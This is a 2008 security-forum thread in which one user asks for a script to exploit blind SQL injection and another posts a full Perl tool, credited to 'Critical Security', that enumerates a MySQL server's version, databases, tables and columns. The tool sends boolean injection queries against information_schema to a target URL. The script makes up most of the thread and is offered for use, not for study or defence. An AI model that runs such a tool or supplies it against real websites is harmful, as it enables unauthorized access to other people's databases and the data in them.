 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 111
 Members: 0
 Total: 111
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
( Script ) SQL injection Blind ? |
|
 Posted: Tue Apr 08, 2008 11:59 am |
 |
|
| w0rm |
| Active user |
 |
|
| Joined: Feb 22, 2008 |
| Posts: 49 |
|
|
|
 |
|
 |
|
Hi  some one can help me , i need a script perl or php to exploite a Vulnerbility SQL injection Blind , and Show all Tables Name and Columns Name ?? , thanks for any help ... |
|
|
|
|
| Posted: Wed Apr 09, 2008 12:52 pm |
|
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Posted: Tue Jul 15, 2008 7:42 pm |
|
|
| faka |
| Regular user |
 |
|
| Joined: Nov 20, 2007 |
| Posts: 7 |
|
|
|
|
|
|
|
| Quote: | #!/usr/bin/perl
# Critical Security, 2006 (http://www.critical.lt)
$|=1;
use LWP::UserAgent;
use Getopt::Std;
use Switch;
print "\n+----------------------------------------------+\n";
print "| Critical Security mysql5 db enumeration tool |\n";
print "+----------------------------------------------+\n\n";
getopts('u:vr:ed:t:', \%opts);
$url=$opts{u};
$version=$opts{v}||0;
$regexp=$opts{r};
$enum=$opts{e}||0;
$db=$opts{d};
$tb=$opts{t};
$min=33;
$max=126;
$num=1;
$limit=0;
if($url&&$regexp&&$version) {checkversion();}
elsif($url&&$regexp&&$enum) {enumdb();}
elsif($url&&$regexp&&$db&&$tb) {enumcolumns();}
elsif($url&&$regexp&&$db) {enumtables();}
else {
print "Usage: $0 -u url -r regexp [-v] [-e] -d [dbname] -t [table]\n\n";
print "-u url -blind sql injection url\n";
print "-r regexp -perl regular expression\n";
print "-v -get mysql version\n";
print "-e -get dbs list\n";
print "-d db name -get tables list\n";
print "-t table name -get columns list\n\n";
exit();}
sub checkversion()
{
$func="version";
while(1){
found($min,$max);
if ($char=="0") {print "Mysql version:\n\n$ver\n\n[DONE]\n";exit();}
else {
$ver.=chr($char);
}
$num++;
}
}
sub enumdb()
{
$func="database";
print "Databases:\n\n";
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}
sub enumtables()
{
$func="table";
print "$db tables:\n\n";
$db =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($db);
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}
sub enumcolumns()
{
$func="column";
print "$db.$tb columns:\n\n";
$db =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($db);
$tb =~ s/([\x21-\x7e]{1})/ord($1).","/ge;
chop($tb);
while(1){
found($min,$max);
if ($char=="0") {
if (!$ver){last}
else{print "$ver\n";$ver="";$num=0;$limit++;}
}
else {
$ver.=chr($char);
}
$num++;
}
print "\n[DONE]\n";
exit();
}
sub found()
{
($fmin,$fmax)=@_;
if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax);return $char;}
$r = int($fmax - ($fmax-$fmin)/2);
$check = ">$r";
if ( &check($check) ) {&found($r,$fmax);} else {&found($fmin,$r+1);}
}
sub crack()
{
($cmin,$cmax)=@_;
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) {return $i;}
$i++;
}
return;
}
sub check()
{
($exp)=@_;
if($func eq "version"){$query = $url." and ascii(substring(version(),".$num.",1))".$exp;}
elsif($func eq "database"){$query = $url." and ascii(substring((select schema_name from information_schema.schemata limit ".$limit.",1),".$num.",1))".$exp;}
elsif($func eq "table"){$query = $url." and ascii(substring((select table_name from information_schema.tables where table_schema=char($db) limit ".$limit.",1),".$num.",1))".$exp;}
elsif($func eq "column"){$query = $url." and ascii(substring((select column_name from information_schema.columns where table_schema=char($db) and table_name=char($tb) limit ".$limit.",1),".$num.",1))".$exp;}
else {exit();}
$conn = LWP::UserAgent->new() or die;
$res = $conn->get($query);
@data = $res->content;
foreach $result(@data)
{
if ($result =~ /$regexp/) { return 1; }
}
return 0;
}
|
I did not test it and dont know or working! |
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
